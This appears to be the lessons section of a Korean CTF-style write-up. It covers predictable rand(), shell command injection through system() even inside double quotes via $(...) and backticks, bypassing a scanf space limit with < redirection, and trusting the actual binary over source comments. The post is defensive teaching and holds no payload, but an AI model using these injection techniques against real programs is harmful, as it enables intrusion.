게임 로직이든 보안 검사든, 공격자가 결과를 예측해서 이득을 보는 자리라면 rand() 를 쓰면 안 된다. 리눅스에서는 getrandom(2) 나 arc4random() 이 답이고, 이쪽은 시드를 알아도 상태를 복원할 수 없다.
문자열을 조립해서 system() 에 넘기지 않는다
snprintf 로 크기를 제대로 제한했고 버퍼도 안 넘쳤지만 그건 아무 의미가 없었다. 문제는 길이가 아니라 사용자 입력이 셸 문법으로 해석되는 문맥에 들어갔다는 것이다.
큰따옴표로 감쌌으니 안전하다고 생각하기 쉬운데, 큰따옴표 안에서도 명령 치환 $(...) 과 백틱은 그대로 동작한다. 파일에 쓰는 게 목적이었다면 셸을 거칠 이유가 없다 — fopen/fwrite 로 끝날 일이었고, 굳이 외부 명령이 필요했다면 execve 계열로 인자를 배열로 넘겨 셸 파싱 자체를 없애야 했다.
필터가 아니라 파서를 봐야 한다
scanf("%31s") 는 보안 목적이 아니었는데도 결과적으로 공백을 막아 "필터"처럼 굴었다. 그런데 그 제약은 < 리다이렉션 하나로 우회됐다. 입력 함수의 부수 효과에 방어를 기대면 이런 식으로 뚫린다.
주석은 증거가 아니다
소스 주석은 -no-pie -fno-stack-protector 로 빌드했다고 적혀 있었지만 실제 바이너리는 PIE 에 카나리까지 있었다. 배포된 물건을 직접 확인하는 습관이 없으면 존재하지도 않는 공격 표면을 찾느라 시간을 쓰게 된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…